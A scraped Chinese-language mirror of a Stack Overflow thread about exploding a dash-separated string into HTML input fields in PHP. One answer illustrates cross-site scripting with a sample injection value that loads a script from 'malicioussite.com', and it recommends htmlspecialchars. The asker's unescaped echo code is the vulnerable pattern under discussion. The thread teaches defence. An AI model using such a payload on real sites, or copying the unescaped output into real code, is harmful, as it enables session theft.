【问题标题】:From a string to a cycle in PHP [closed]PHP中从字符串到循环[关闭]
【发布时间】:2012-10-04 07:30:12
【问题描述】:

我有一个从数据库中提取的字符串,其中每个值都由“-”分隔,如下所示:a-b-c。 在我的数据库中,我还有一个字段告诉我我有多少个值,在本例中为 3。 我需要为字符串的每个值创建一个文本文件,所以我正在考虑做这样的事情:

$numberOfValues=db=>n;
$string=bb=>string;
$singleValue = explode("-", $string);
for($i=0;$i<$numberOfValues;$i++): {
echo ('input type="text" value="'.$singleValue[$i].'">');
}

我的问题基本上是:这是一种有效的方式来做我正在寻找的事情吗?或者也许有一个“更好”的方法? 谢谢!

【问题讨论】:

  • 没有$numberOfValues 也可以做到这一点,因为您已经通过$string 知道了这一点。当你爆炸时,只需foreach
  • 这可能更适合code review,标记为这样

标签: php cycle


【解决方案1】:

除了提到的foreach和valid input标签,

  • 您不应该像以前那样将 HTML 与 PHP 逻辑混为一谈。最好将 HTML 放在单独的模板中。
  • 确保您在 HTML 中推送的值始终发生 HTML 转义,除非另有明确说明,以便字符 "'&lt;&gt; 正确转义并且您不会离开XSS 漏洞。

在 XSS 上,您的代码中的示例:

echo ('input type="text" value="'.$singleValue[$i].'">');

现在,如果我们假设用户可以影响$singleValue[$i] 的内容,他们可以在那里推送类似"&gt;&lt;script src="http://malicioussite.com/hacking.js"&gt;&lt;/script&gt;&lt;span id=" 的内容

这将使生成的 HTML 出现在页面上

input type="text" value=""><script src="http://malicioussite.com/hacking.js"></script><span id="">

这将强制最终用户浏览器执行“hacking.js”文件,例如,该文件可以窃取您的会话信息并将其提交到任何域。通过转义一些已知的危险字符,您可以最轻松地防范此类威胁,这就是 htmlspecialchars() 函数的用途。

【讨论】:

  • 对不起,我真的不是专家,XSS 漏洞是什么意思?
  • 嗯真的很高兴知道!我会检查我所有的代码!所以如果我使用 htmlspecialchars() 我应该没问题,对吧?
  • 您应该对 HTML 的这个特定问题没问题,是的。关于数据库、执行 shell 命令、输出诸如 cookie 之类的标头等有类似的转义主题。还请注意,您应该将 ENT_QUOTES 参数提供给 htmlspecialchars(),这样它也会引用 '。它还有一个字符集参数。
【解决方案2】:
$values = explode('-', $string);

foreach ($values as $value) {
    printf('<input type="text" value="%s">', htmlspecialchars($value));
}

【讨论】:

  • 如果我要在循环中插入多个值,您认为我也可以应用这个吗? (我实际上有三个,例如 $values2 和 $values3。
  • array_merge 将它们全部放入一个数组中,然后您可以循环...?
【解决方案3】:

没关系。但是打开和关闭输入标签:)

echo ('<input type="text" value="'.$singleValue[$i].'"/>');

【讨论】:

    猜你喜欢
    • 2018-05-03
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2021-08-25
    • 1970-01-01
    • 2014-05-29
    • 2013-07-19
    • 2015-07-29
    相关资源
    最近更新 更多